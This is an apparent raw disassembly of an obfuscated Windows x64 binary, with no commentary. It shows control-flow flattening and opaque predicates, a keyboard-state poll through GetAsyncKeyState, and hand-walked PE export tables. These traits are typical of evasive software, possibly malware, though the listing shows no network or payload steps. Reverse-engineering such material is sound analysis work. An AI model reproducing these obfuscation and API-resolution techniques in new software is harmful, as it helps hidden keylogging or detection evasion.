mov ecx, dword [rbp + 0x140]
jmp 0x140502980
cmp r12d, 0x895fd78a
jg 0x1405037cf
cmp r12d, 0x8402cefa
je 0x140503bb2
mov ecx, r12d
cmp r12d, 0x86220d5d
jne 0x140502980
cmp byte [rbp + 0x268], 0
mov ecx, 0xe7809c3a
mov edi, 0xd5b57954
cmovne ecx, edi
xor r9d, r9d
jmp 0x140502980
cmp r12d, 0x14395eed
jg 0x140503804
mov ecx, dword [rbp + 0x2c4]
cmp r12d, 0x135fcc3b
je 0x140502980
mov ecx, r12d
cmp r12d, 0x140605b2
jne 0x140502980
cmp byte [rbp + 0x288], 0
mov ecx, 0x6ceae5d9
mov edi, 0x5f31b9d4
cmovne ecx, edi
jmp 0x140502980
cmp r12d, 0xd3059b6e
jg 0x140503848
cmp r12d, 0xd033cd7a
je 0x140503bc9
mov ecx, r12d
cmp r12d, 0xd1dca56c
jne 0x140502980
cmp r14d, 0x32
setge byte [rbp + 0x31e]
mov ecx, 0xae960d74
jmp 0x140502980
cmp r12d, 0x51bb9d1e
jg 0x140503880
mov ecx, dword [rbp + 0x1dc]
cmp r12d, 0x4a018100
je 0x140502980
mov ecx, r12d
cmp r12d, 0x4b6a20f7
jne 0x140502980
mov ecx, 0x969205f1
jmp 0x140502980
cmp r12d, 0xb1c5674d
jg 0x1405038aa
cmp r12d, 0xb1828316
je 0x140503bda
mov ecx, r12d
cmp r12d, 0xb18758be
jne 0x140502980
mov ecx, dword [rbp + 0x13c]
jmp 0x140502980
cmp r12d, 0x2f9cfbc0
jg 0x1405038dc
mov ecx, dword [rbp + 0x190]
cmp r12d, 0x2d4b429d
je 0x140502980
mov ecx, r12d
cmp r12d, 0x2e501a5b
jne 0x140502980
mov ecx, 0x99deb36c
jmp 0x140502980
cmp r12d, 0xf301ab8d
jg 0x14050391b
cmp r12d, 0xef53f9e6
je 0x140503be4
mov ecx, r12d
cmp r12d, 0xf18c4a6a
jne 0x140502980
mov ecx, 0x7b64d6ea
jmp 0x140502980
cmp r12d, 0x76851f02
jg 0x140503949
cmp r12d, 0x751c860e
je 0x140503bfb
mov ecx, r12d
cmp r12d, 0x763ef902
jne 0x140502980
movzx r9d, byte [rbp + 0x2e8]
mov ecx, 0xe7809c3a
jmp 0x140502980
cmp r12d, 0xa0d53e64
je 0x140503c18
mov ecx, r12d
cmp r12d, 0xa3988b66
jne 0x140502980
mov ecx, 0x31f6e81
jmp 0x140502980
cmp r12d, 0x96bfffd
je 0x140503c44
mov ecx, r12d
cmp r12d, 0xad1060d
jne 0x140502980
cmp dl, 0x78
setae byte [rbp + 0x323]
mov ecx, 0x39b2a750
jmp 0x140502980
cmp r12d, 0xbdc64e88
je 0x140503c4e
mov ecx, r12d
cmp r12d, 0xc560a85d
jne 0x140502980
mov ecx, 0x77da8017
jmp 0x140502980
mov ecx, dword [rbp + 0x170]
cmp r12d, 0x464e4f07
je 0x140502980
mov ecx, r12d
cmp r12d, 0x482aa3f8
jne 0x140502980
mov ecx, 0x495c313e
jmp 0x140502980
cmp r12d, 0xaebd2eca
je 0x140503c63
mov ecx, r12d
cmp r12d, 0xb02114d0
jne 0x140502980
mov ecx, dword [rbp + 0x20c]
jmp 0x140502980
cmp r12d, 0x267d1724
je 0x140503c6d
mov ecx, r12d
cmp r12d, 0x2798cef7
jne 0x140502980
mov ecx, dword [rbp + 0x240]
jmp 0x140502980
cmp r12d, 0xe9dbd22e
je 0x140503c77
mov ecx, r12d
cmp r12d, 0xead08fc7
jne 0x140502980
mov byte [rbp + 0x2c8], 0
mov ecx, 0x1a7bb6b3
jmp 0x140502980
cmp r12d, 0x6c56cc29
je 0x140503c97
mov ecx, r12d
cmp r12d, 0x6ceae5d9
jne 0x140502980
mov ecx, dword [rbp + 0x214]
jmp 0x140502980
cmp r12d, 0x8d845308
je 0x14050296c
mov ecx, r12d
cmp r12d, 0x901b12e1
jne 0x140502980
mov r8d, esi
mov ecx, 0x9ef63166
jmp 0x140502980
cmp r12d, 0x15767053
je 0x140503ca1
mov ecx, r12d
cmp r12d, 0x157c9d26
jne 0x140502980
mov ecx, dword [rbp + 0x350]
mov ecx, 0x31a09e96
jmp 0x140502980
mov ecx, dword [rbp + 0x198]
cmp r12d, 0xd5b57954
je 0x140502980
mov ecx, r12d
cmp r12d, 0xdaf8f24e
jne 0x140502980
movzx ecx, byte [rbp + 0x2f4]
mov dword [rbp + 0x2e4], ecx
mov ecx, 0xd033cd7a
jmp 0x140502980
cmp r12d, 0x57b3b530
je 0x140503cab
mov ecx, r12d
cmp r12d, 0x5a11b6dc
jne 0x140502980
mov ecx, dword [rbp + 0x204]
jmp 0x140502980
cmp r12d, 0xb4b17505
je 0x140503cb5
mov ecx, r12d
cmp r12d, 0xb5fe692d
jne 0x140502980
movzx ecx, byte [rbp + 0x304]
mov dword [rbp + 0x2f8], ecx
mov ecx, 0xeaeb4fd4
jmp 0x140502980
cmp r12d, 0x34249238
je 0x140503cbf
mov ecx, r12d
cmp r12d, 0x354076fb
jne 0x140502980
mov ecx, dword [rbp + 0x230]
jmp 0x140502980
mov ecx, dword [rbp + 0x1a0]
cmp r12d, 0xf3c53d87
je 0x140502980
mov ecx, r12d
cmp r12d, 0xf5fb2c3f
jne 0x140502980
mov ecx, dword [rbp + 0x21c]
jmp 0x140502980
cmp r12d, 0x789407d4
je 0x14050296c
mov ecx, r12d
cmp r12d, 0x78d88bfd
jne 0x140502980
mov ecx, dword [rbp + 0x248]
jmp 0x140502980
cmp r12d, 0x9a36c245
je 0x140503cd8
mov ecx, r12d
cmp r12d, 0x9c02b47a
jne 0x140502980
mov ecx, dword [rbp + 0x330]
mov ecx, 0xb0beb3e4
jmp 0x140502980
cmp r12d, 0x30c0ef2
je 0x140503cf0
mov ecx, r12d
cmp r12d, 0x31f6e81
jne 0x140502980
cmp dword [rbp + 0x128], 0x3c
setge byte [rbp + 0x31d]
cmp r13b, 0x6e
setae byte [rbp + 0x34e]
mov ecx, dword [rbp + 0x244]
jmp 0x140502980
mov ecx, dword [rbp + 0x188]
cmp r12d, 0xbd39f16e
je 0x140502980
mov ecx, r12d
cmp r12d, 0xbd5e8e9d
jne 0x140502980
cmp byte [rbp + 0x278], 0
mov ecx, 0xff0c2dff
mov ebx, 0x8402cefa
jmp 0x140503b3c
cmp r12d, 0x418cdd34
je 0x140503d02
mov ecx, r12d
cmp r12d, 0x42040c67
jne 0x140502980
cmp byte [rbp + 0x321], 0
mov ecx, 0x901b12e1
mov esi, 0xb37bdaf0
jmp 0x140503a80
cmp r12d, 0xac78743b
je 0x140503d18
mov ecx, r12d
cmp r12d, 0xae960d74
jne 0x140502980
cmp byte [rbp + 0x31e], 0
mov ecx, 0x576b74ae
mov edi, 0x78d88bfd
cmovne ecx, edi
xor r15d, r15d
jmp 0x140502980
cmp r12d, 0x23a18588
je 0x140503d2d
mov ecx, r12d
cmp r12d, 0x23d604a4
jne 0x140502980
mov ecx, 0x76851f03
jmp 0x140502980
cmp r12d, 0xe83f3e87
je 0x140503d46
mov ecx, r12d
cmp r12d, 0xe8a60b10
jne 0x140502980
cmp byte [rbp + 0x300], 0
mov ecx, 0xeaeb4fd4
mov edi, 0xbdc64e88
cmovne ecx, edi
mov dword [rbp + 0x2f8], 0
jmp 0x140502980
cmp r12d, 0x5f31b9d4
je 0x140503d75
mov ecx, r12d
cmp r12d, 0x680ab117
jne 0x140502980
mov ecx, 0x89b66e65
jmp 0x140502980
mov ecx, dword [rbp + 0x160]
cmp r12d, 0x895fd78b
je 0x140502980
mov ecx, r12d
cmp r12d, 0x89b66e65
jne 0x140502980
mov byte [rbp + 0x325], 1
mov ecx, dword [rbp + 0x148]
jmp 0x140502980
cmp r12d, 0x14395eee
je 0x140503d8d
mov ecx, r12d
cmp r12d, 0x145d0d1b
jne 0x140502980
movzx ecx, byte [rbp + 0x2d8]
cmp byte [rbp + 0x2b0], 0
mov ebx, 0x3ff59037
mov edi, 0x14395eee
cmovne ebx, edi
test cl, cl
mov ecx, 0x3ff59037
jmp 0x140503c3a
cmp r12d, 0xd3059b6f
je 0x140503da4
mov ecx, r12d
cmp r12d, 0xd38d4b5c
jne 0x140502980
mov ecx, dword [rbp + 0x328]
cmp ecx, 9
setl byte [rbp + 0x322]
mov ecx, dword [rbp + 0x134]
jmp 0x140502980
cmp r12d, 0x51bb9d1f
je 0x140503db6
mov ecx, r12d
cmp r12d, 0x576b74ae
jne 0x140502980
mov r8d, r15d
mov ecx, 0x9ef63166
jmp 0x140502980
cmp r12d, 0xb1c5674e
je 0x140503dcb
mov ecx, r12d
cmp r12d, 0xb37bdaf0
jne 0x140502980
cmp r11b, 0x69
setae byte [rbp + 0x320]
mov ecx, 0xf33880b0
jmp 0x140502980
cmp r12d, 0x2f9cfbc1
je 0x140503dd5
mov ecx, r12d
cmp r12d, 0x31a09e96
jne 0x140502980
mov ecx, dword [rbp + 0x350]
mov ebx, ecx
neg ebx
cmovl ebx, ecx
cmp ebx, 0xe
setb byte [rbp + 0x31f]
mov ecx, dword [rbp + 0x24c]
jmp 0x140502980
cmp r12d, 0xf301ab8e
je 0x140503dea
mov ecx, r12d
cmp r12d, 0xf33880b0
jne 0x140502980
movzx esi, byte [rbp + 0x320]
mov ecx, 0x901b12e1
jmp 0x140502980
cmp r12d, 0x76851f03
je 0x140503dfe
mov ecx, r12d
cmp r12d, 0x77da8017
jne 0x140502980
mov ecx, dword [rbp + 0xfc]
jmp 0x140502980
movzx ecx, byte [rbp + 0x1f4]
mov byte [rbp + 0x321], cl
mov ecx, 0x42040c67
jmp 0x140502980
mov ecx, 0xb6fd862d
jmp 0x140502980
cmp r13b, 0xf1
setae byte [rbp + 0x2d8]
cmp r13b, 0xff
setne byte [rbp + 0x2b0]
mov ecx, 0x145d0d1b
jmp 0x140502980
mov ecx, dword [rbp + 0x330]
mov ebx, ecx
neg ebx
cmovl ebx, ecx
cmp ebx, 0xe
setb byte [rbp + 0x280]
mov ecx, dword [rbp + 0x208]
jmp 0x140502980
mov ecx, 0xb02114d0
jmp 0x140502980
mov rcx, qword [rbp + 0x120]
mov dword [rbp + 0x330], ecx
mov ecx, dword [rbp + 0x210]
jmp 0x140502980
mov r8d, dword [rbp + 0x2f8]
mov ecx, 0x9ef63166
jmp 0x140502980
cmp dl, 0xbe
setae byte [rbp + 0x180]
mov ecx, 0x34249238
jmp 0x140502980
cmp r11b, 0x64
setae byte [rbp + 0x34d]
mov ecx, 0x30c0ef2
jmp 0x140502980
mov ecx, 0x51bb9d1f
jmp 0x140502980
cmp byte [rbp + 0x2c8], 0
mov ecx, 0xe335676c
mov edi, 0x709a45bb
cmovne ecx, edi
jmp 0x140502980
mov ecx, 0x354076fb
jmp 0x140502980
mov byte [rbp + 0x2b4], 0
mov ecx, dword [rbp + 0x238]
jmp 0x140502980
cmp byte [rbp + 0x322], 0
mov ecx, 0x901b12e1
mov esi, 0x9d594588
cmovne ecx, esi
xor esi, esi
jmp 0x140502980
cmp byte [rbp + 0x2b4], 0
mov ecx, 0xead08fc7
mov edi, 0x48c9fc5f
cmovne ecx, edi
jmp 0x140502980
mov ecx, 0xfc0f9c55
jmp 0x140502980
mov ecx, 0x90eefd
jmp 0x140502980
mov ecx, dword [rbp + 0x1f8]
mov dword [rbp + 0x328], ecx
mov ecx, dword [rbp + 0x138]
jmp 0x140502980
cmp byte [rbp + 0x34f], 0
mov ecx, 0x895fd78b
mov edi, 0xe9dbd22e
cmovne ecx, edi
jmp 0x140502980
mov ecx, 0xbd39f16e
jmp 0x140502980
cmp byte [rbp + 0x2d0], 0
mov ecx, 0xe7809c3a
mov ebx, 0xa82ebe37
cmovne ecx, ebx
xor r9d, r9d
jmp 0x140502980
mov dword [rbp + 0x340], r14d
mov ecx, 0x751c860e
jmp 0x140502980
mov r8d, r10d
mov ecx, 0x9ef63166
jmp 0x140502980
cmp byte [rbp + 0x308], 0
mov ecx, 0xff0c2dff
mov ebx, 0x5a11b6dc
cmovne ecx, ebx
xor r10d, r10d
jmp 0x140502980
mov ecx, 0xb05c452f
jmp 0x140502980
mov ecx, dword [rbp + 0x128]
mov dword [rbp + 0x358], ecx
mov ecx, 0x5d291220
jmp 0x140502980
movzx r10d, byte [rbp + 0x310]
mov ecx, 0xff0c2dff
jmp 0x140502980
mov r8d, r9d
mov ecx, 0x9ef63166
jmp 0x140502980
cmp r13b, 0x69
mov ecx, dword [rbp + 0x358]
mov ebx, 0xe7809c3a
mov edi, 0x2f9cfbc1
cmovae ebx, edi
cmp ecx, 0x32
mov ecx, 0xe7809c3a
cmovl ebx, ecx
xor r9d, r9d
mov ecx, ebx
jmp 0x140502980
movzx ecx, byte [rbp + 0x1e4]
mov byte [rbp + 0x308], cl
mov ecx, 0x39498194
jmp 0x140502980
mov r8d, dword [rbp + 0x2e4]
mov ecx, 0x9ef63166
jmp 0x140502980
mov ecx, 0x2d4b429d
jmp 0x140502980
mov rcx, qword [rbp + 0x120]
mov dword [rbp + 0x350], ecx
mov ecx, 0x4a018100
jmp 0x140502980
mov ecx, dword [rbp + 0x340]
cmp ecx, 0x3c
mov ecx, 0x901b12e1
mov esi, 0xa4c5bbcd
cmovge ecx, esi
xor esi, esi
jmp 0x140502980
movzx ecx, byte [rbp + 0x34c]
cmp byte [rbp + 0x34b], 0
mov ebx, 0xead3e304
mov edi, 0x9a36c245
cmovne ebx, edi
test cl, cl
mov ecx, 0xead3e304
cmove ebx, ecx
mov ecx, ebx
jmp 0x140502980
mov ecx, 0xe7ef058
jmp 0x140502980
cmp r11b, 0x4f
setb byte [rbp + 0x304]
mov ecx, 0xece27445
jmp 0x140502980
mov ecx, 0xdd066470
jmp 0x140502980
mov ecx, 0xb7ee4958
jmp 0x140502980
cmp r13b, 0xdd
setae byte [rbp + 0x34c]
cmp r13b, 0xff
setne byte [rbp + 0x34b]
mov ecx, 0xa0d53e64
jmp 0x140502980
mov ecx, 0x464e4f07
jmp 0x140502980
mov ecx, 0x2ad23082
jmp 0x140502980
mov ecx, 0x5d8c7d4f
jmp 0x140502980
mov ecx, 0x418cdd34
jmp 0x140502980
cmp byte [rbp + 0x180], 0
mov ecx, 0xa61e6778
mov edi, 0xf3c53d87
cmovne ecx, edi
jmp 0x140502980
cmp dword [rbp + 0x1f0], 0x1d
setb byte [rbp + 0x2b8]
mov ecx, 0xe83f3e87
jmp 0x140502980
movzx r15d, byte [rbp + 0x34d]
mov ecx, 0x576b74ae
jmp 0x140502980
cmp r14d, 0x5a
setge byte [rbp + 0x2d0]
mov ecx, dword [rbp + 0x220]
jmp 0x140502980
cmp r11b, 0x5a
setb byte [rbp + 0x2f4]
mov ecx, 0xdaf8f24e
jmp 0x140502980
cmp byte [rbp + 0x324], 0
mov ecx, 0xad1060d
mov edi, 0xfe617dad
cmovne ecx, edi
jmp 0x140502980
cmp r11b, 0x3d
mov ecx, 0xd033cd7a
mov edi, 0xac78743b
cmovae ecx, edi
cmp byte [rbp + 0x2b8], 0
mov edi, 0xd033cd7a
cmove ecx, edi
mov dword [rbp + 0x2e4], 0
jmp 0x140502980
cmp dword [rbp + 0x1e8], 9
setb byte [rbp + 0x268]
mov ecx, 0x86220d5d
jmp 0x140502980
movzx ecx, byte [rbp + 0x1ec]
mov byte [rbp + 0x300], cl
mov ecx, 0xe8a60b10
jmp 0x140502980
mov byte [rbp + 0x34f], 0
mov ecx, dword [rbp + 0x23c]
jmp 0x140502980
cmp dl, 0x78
setae byte [rbp + 0x288]
mov ecx, dword [rbp + 0x228]
jmp 0x140502980
mov ecx, 0x9ef1d789
jmp 0x140502980
cmp r11b, 0x69
setae byte [rbp + 0x2e8]
mov ecx, 0xf5fb2c3f
jmp 0x140502980
cmp dl, 0xbe
setae byte [rbp + 0x324]
mov ecx, 0xe7d3c6de
jmp 0x140502980
movzx ecx, byte [rbp + 0x31d]
cmp byte [rbp + 0x34e], 0
mov ebx, 0x576b74ae
mov edi, 0x70a3a0c7
cmovne ebx, edi
test cl, cl
mov ecx, 0x576b74ae
cmove ebx, ecx
xor r15d, r15d
mov ecx, ebx
jmp 0x140502980
cmp eax, 0xe9c08311
jg 0x140506327
cmp eax, 0xe7c90053
jg 0x140506b88
cmp eax, 0xe64e5743
je 0x140507e53
cmp eax, 0xe654f20f
je 0x140507f1e
cmp eax, 0xe78e1ff0
jne 0x140501b1d
mov eax, 0xf619818b
jmp 0x140501b1d
cmp eax, 0x45b04b33
jg 0x14050636c
cmp eax, 0x43ffda83
jg 0x140506bc7
cmp eax, 0x422f4dcb
je 0x140507f3c
cmp eax, 0x4271784e
je 0x140507f46
cmp eax, 0x43e68195
jne 0x140501b1d
mov eax, 0xe10d0d3a
jmp 0x140501b1d
cmp eax, 0x970519de
jg 0x1405063a2
cmp eax, 0x960cce17
jg 0x140506c06
cmp eax, 0x942059d4
je 0x140507f64
cmp eax, 0x94a26948
je 0x140507f75
cmp eax, 0x95601d2b
jne 0x140501b1d
mov eax, dword [rbp + 0x110]
add eax, 1
mov dword [rbp + 0x10], eax
mov eax, 0x763d1c5
jmp 0x140501b1d
cmp eax, 0x1aff6d1c
jg 0x1405063ec
cmp eax, 0x183ad463
jg 0x140506c35
cmp eax, 0x15f57494
je 0x140507f8e
cmp eax, 0x1604ae3f
je 0x140507fac
cmp eax, 0x1621a009
jne 0x140501b1d
mov al, byte [rbp + 0x2ac]
mov byte [rbp + 0x29d], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x37e4b89d
mov ecx, 0x4eac09d6
jmp 0x140501b10
cmp eax, 0xd577f68f
jg 0x140506436
cmp eax, 0xd1e99ca6
jg 0x140506c74
cmp eax, 0xd074cb8f
je 0x140507fb6
cmp eax, 0xd0d7a208
je 0x140507ff3
cmp eax, 0xd112a94f
jne 0x140501b1d
mov eax, 0xf3afbbfd
jmp 0x140501b1d
cmp eax, 0x70280f55
jg 0x140506c9f
cmp eax, 0x6f690742
je 0x1405080ad
cmp eax, 0x701b34a7
je 0x1405080c3
cmp eax, 0x7026e894
jne 0x140501b1d
mov dword [0x140b74c10], 0xffffffff
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcacb336e
mov ecx, 0x3f19904f
jmp 0x140501b10
cmp eax, 0xb62b80f9
jg 0x140506cca
cmp eax, 0xb2f84d26
je 0x1405080de
cmp eax, 0xb41eb0fa
je 0x14050811c
cmp eax, 0xb61eb491
jne 0x140501b1d
mov eax, 0x5289457e
jmp 0x140501b1d
cmp eax, 0x36b439d5
jg 0x140506cfc
cmp eax, 0x350e306a
je 0x140508126
cmp eax, 0x35b7d155
je 0x14050813c
cmp eax, 0x3605dcb9
jne 0x140501b1d
mov ecx, dword [0x140b8530c]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea r11, [rbp + 0x338]
add rsp, 0x20
mov word [rbp + 0x132], ax
mov eax, 0x6e6a09af
jmp 0x140501b1d
cmp eax, 0xf7457caa
jg 0x140506d2d
cmp eax, 0xf6dba19d
je 0x140508146
cmp eax, 0xf6e3bba7
je 0x140508150
cmp eax, 0xf6f9feff
jne 0x140501b1d
mov eax, dword [rbp + 0x274]
mov eax, dword [rbp + 0x274]
mov eax, dword [rbp + 0x274]
mov eax, dword [rbp + 0x274]
mov eax, dword [rbp + 0x274]
mov eax, 0x988923db
jmp 0x140501b1d
cmp eax, 0x55c2529b
jg 0x140506d58
cmp eax, 0x535742f4
je 0x14050818a
cmp eax, 0x53b09edc
je 0x1405081b2
cmp eax, 0x557d70b8
jne 0x140501b1d
mov qword [rbp + 0x160], rsp
mov eax, 0xad651a27
jmp 0x140505d25
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc127d0cf
mov ecx, 0x578cae4c
cmove eax, ecx
cmp dword [0x140b86d44], 0xa
cmovl eax, ecx
nop word [rax + rax]
cmp eax, 0xeda2da7f
jg 0x140504190
cmp eax, 0xad651a26
jle 0x140504200
cmp eax, 0xbf050584
jg 0x14050455f
cmp eax, 0xb6e7bce7
jg 0x140504714
cmp eax, 0xad651a27
je 0x14050481f
cmp eax, 0xadd06607
jne 0x140504140
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x2e8], rax
mov eax, 0x89226ce8
jmp 0x140504140
cmp eax, 0x27f650d3
jg 0x140504450
cmp eax, 0x6c4781b
jle 0x14050465f
cmp eax, 0x16917013
jg 0x14050472f
cmp eax, 0x6c4781c
je 0x1405051ea
cmp eax, 0x14dac0dc
jne 0x140504140
test r13d, r13d
mov eax, 0x1da00b46
mov ecx, 0x6e0eb7
cmove eax, ecx
mov r12d, r13d
mov rcx, qword [rbp + 0x188]
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x1a8], rcx
jmp 0x140504140
cmp eax, 0x8b8ab030
jle 0x1405046a7
cmp eax, 0x9d99de9f
jg 0x14050477f
cmp eax, 0x8b8ab031
je 0x1405051f4
cmp eax, 0x8c09fc77
jne 0x140504140
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
mov rax, qword [rbp + 0x330]
mov r8, qword [rax + 0x30]
mov rcx, qword [rbp + 0x2c8]
mov edx, 0xc51e8ee8
nop word cs:[rax + rax]
cmp edx, 0xd5357ea1
jle 0x1405042d0
cmp edx, 0xd5357ea2
je 0x1405043cf
cmp edx, 0x443aa486
je 0x140505785
cmp edx, 0x787992e0
jne 0x140504270
mov rax, qword [rbp + 0x350]
mov eax, dword [rax]
mov edx, dword [rbp + 0x328]
add rdx, r8
mov qword [rcx + 8], rdx
mov dword [rcx + 0x10], eax
mov eax, dword [0x140b856b0]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edx, 0xa8f315e1
mov eax, 0x443aa486
jmp 0x1405043e8
cmp edx, 0xa8f315e1
je 0x1405043fa
cmp edx, 0xc51e8ee8
jne 0x140504270
mov qword [rcx], r8
mov edx, dword [0x140b856b4]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete byte [rbp + 0x308]
mov edx, dword [0x140b856b8]
mov edi, 0x11daf85
mov eax, 0x850a648c
cmove edi, eax
cmp edx, 0xa
setl byte [rbp + 0x310]
cmovl edi, eax
mov edx, 0x61bac617
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x11daf84
jg 0x140504370
cmp edx, 0x850a648c
je 0x1405043aa
cmp edx, 0x9bc0b61e
je 0x14050441d
cmp edx, 0xaafcbf56
jne 0x140504330
movsxd rbx, dword [rbp + 0x340]
add rbx, r8
mov edx, 0x9bc0b61e
jmp 0x140504330
cmp edx, 0x11daf85
je 0x1405043b4
cmp edx, 0x35e60346
je 0x1405043be
cmp edx, 0x61bac617
jne 0x140504330
movzx eax, byte [rbp + 0x308]
cmp byte [rbp + 0x310], 0
mov edx, 0x11daf85
mov esi, 0x35e60346
cmovne edx, esi
test al, al
cmovne edx, esi
jmp 0x140504330
mov edx, 0xaafcbf56
jmp 0x140504330
mov edx, 0x35e60346
jmp 0x140504330
mov eax, dword [r8 + 0x3c]
mov dword [rbp + 0x340], eax
mov edx, edi
jmp 0x140504330
mov eax, dword [0x140b856b0]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov edx, 0xa8f315e1
mov eax, 0x787992e0
cmove edx, eax
cmp dword [0x140b856bc], 0xa
cmovl edx, eax
jmp 0x140504270
mov rax, qword [rbp + 0x350]
mov eax, dword [rax]
mov edx, dword [rbp + 0x328]
add rdx, r8
mov qword [rcx + 8], rdx
mov dword [rcx + 0x10], eax
mov edx, 0x787992e0
jmp 0x140504270
mov qword [rbp + 0x358], rbx
mov rax, qword [rbp + 0x358]
mov edx, dword [rax + 0x88]
mov dword [rbp + 0x328], edx
add rax, 0x8c
mov qword [rbp + 0x350], rax
mov edx, 0xd5357ea2
jmp 0x140504270
cmp eax, 0x54816a39
jle 0x1405046d2
cmp eax, 0x678522cd
jg 0x1405047b0
cmp eax, 0x54816a3a
je 0x140504111
cmp eax, 0x578cae4c
jne 0x140504140
mov rcx, qword [rbp + 0x2c8]
mov eax, dword [rbp + 0x2f4]
mov rdx, qword [rcx]
mov qword [rbp + 0x328], rdx
mov rcx, qword [rcx + 8]
mov edx, dword [rcx + 0x1c]
add rdx, qword [rbp + 0x328]
mov qword [rbp + 0x340], rdx
mov ecx, dword [rcx + 0x24]
add rcx, qword [rbp + 0x328]
mov qword [rbp + 0x350], rcx
mov ecx, dword [0x140b856c8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b856cc], 0xa
setl dl
or dl, cl
mov edi, 0x7fb25dbb
mov ecx, 0xcc941bd9
cmovne edi, ecx
mov edx, 0x7fb25dbb
mov ecx, 0x904316b4
cmovne edx, ecx
mov ecx, 0xd7747bb6
nop word cs:[rax + rax]
cmp ecx, 0xcc941bd8
jle 0x140504530
cmp ecx, 0xcc941bd9
je 0x140504545
cmp ecx, 0xd7747bb6
je 0x14050454c
cmp ecx, 0x7fb25dbb
jne 0x140504500
mov rcx, qword [rbp + 0x350]
mov ecx, 0x904316b4
jmp 0x140504500
cmp ecx, 0x904316b4
je 0x140504550
cmp ecx, 0xaa8072d6
jne 0x140504500
jmp 0x1405057bc
mov ecx, 0xaa8072d6
jmp 0x140504500
mov ecx, edx
jmp 0x140504500
lea rbx, [rax + rax]
add rbx, qword [rbp + 0x350]
mov ecx, edi
jmp 0x140504500
cmp eax, 0xc6f20e73
jg 0x1405047d3
cmp eax, 0xbf050585
je 0x140505803
cmp eax, 0xc127d0cf
jne 0x140504140
mov rcx, qword [rbp + 0x2c8]
mov eax, dword [rbp + 0x2f4]
mov rdx, qword [rcx]
mov qword [rbp + 0x328], rdx
mov rcx, qword [rcx + 8]
mov edx, dword [rcx + 0x1c]
add rdx, qword [rbp + 0x328]
mov qword [rbp + 0x340], rdx
mov ecx, dword [rcx + 0x24]
add rcx, qword [rbp + 0x328]
mov qword [rbp + 0x350], rcx
mov ecx, dword [0x140b856c8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b856cc], 0xa
setl dl
or dl, cl
mov edi, 0x7fb25dbb
mov ecx, 0xcc941bd9
cmovne edi, ecx
mov edx, 0x7fb25dbb
mov ecx, 0x904316b4
cmovne edx, ecx
mov ecx, 0xd7747bb6
nop word [rax + rax]
cmp ecx, 0xcc941bd8
jle 0x140504630
cmp ecx, 0xcc941bd9
je 0x140504645
cmp ecx, 0xd7747bb6
je 0x14050464c
cmp ecx, 0x7fb25dbb
jne 0x140504600
mov rcx, qword [rbp + 0x350]
mov ecx, 0x904316b4
jmp 0x140504600
cmp ecx, 0x904316b4
je 0x140504650
cmp ecx, 0xaa8072d6
jne 0x140504600
jmp 0x14050582c
mov ecx, 0xaa8072d6
jmp 0x140504600
mov ecx, edx
jmp 0x140504600
lea rbx, [rax + rax]
add rbx, qword [rbp + 0x350]
mov ecx, edi
jmp 0x140504600
cmp eax, 0x6e0eb6
jg 0x1405047f9
cmp eax, 0xeda2da80
je 0x140505852
cmp eax, 0xf7a293cd
jne 0x140504140
cmp byte [rbp + 0x34d], 0
mov eax, 0x67a5d55f
mov ecx, 0x8c09fc77
cmovne eax, ecx
mov rcx, qword [rbp + 0x278]
mov qword [rbp + 0x158], rcx
jmp 0x140504140
cmp eax, 0x8476c3ac
je 0x140505870
cmp eax, 0x89226ce8
je 0x14050588e
cmp eax, 0x893675d2
jne 0x140504140
mov eax, 0x27f650d4
jmp 0x140504140
cmp eax, 0x27f650d4
je 0x1405058ac
cmp eax, 0x3177222f
je 0x1405058c2
cmp eax, 0x4a37e19d
jne 0x140504140
mov eax, dword [rbp + 0x198]
sub eax, 1
mov dword [rbp + 0x2f4], eax
mov eax, 0xb6e7bce8
mov ecx, 0x9ded286e
cmovb eax, ecx
jmp 0x140504140
cmp eax, 0xb6e7bce8
je 0x140505984
cmp eax, 0xbb9489f0
je 0x140505d20
jmp 0x140504140
cmp eax, 0x16917014
je 0x1405059d6
cmp eax, 0x1da00b46
jne 0x140504140
mov dword [rbp + 0x2d8], r12d
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x288]
mov eax, dword [0x140b86d40]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe981f3db
mov ecx, 0x9d99dea0
jmp 0x14050412a
cmp eax, 0x9d99dea0
je 0x140505c36
cmp eax, 0x9ded286e
jne 0x140504140
mov eax, 0x14dac0dc
xor r13d, r13d
mov rcx, qword [rbp + 0x280]
mov qword [rbp + 0x188], rcx
jmp 0x140504140
cmp eax, 0x678522ce
je 0x140505c62
cmp eax, 0x67a5d55f
jne 0x140504140
mov eax, 0x542f178
xor r15d, r15d
jmp 0x140504140
cmp eax, 0xc6f20e74
je 0x140505c82
cmp eax, 0xe981f3db
jne 0x140504140
mov eax, dword [rbp + 0x2d8]
mov eax, 0x9d99dea0
jmp 0x140504140
cmp eax, 0x6e0eb7
jne 0x140505d02
mov eax, 0x1da00b46
xor r12d, r12d
mov rcx, qword [rbp + 0x1a8]
mov qword [rbp + 0x190], rcx
jmp 0x140504140
mov eax, reloc.WLDAP32.dll_Ordinal_32
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x2c8], rax
lea rax, [rbp + 0x330]
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x180]
mov eax, 0xb44ab987
cmp eax, 0xeb4ae1f5
jle 0x140504890
cmp eax, 0xeb4ae1f6
je 0x1405048a7
cmp eax, 0x59073b2b
je 0x140504d07
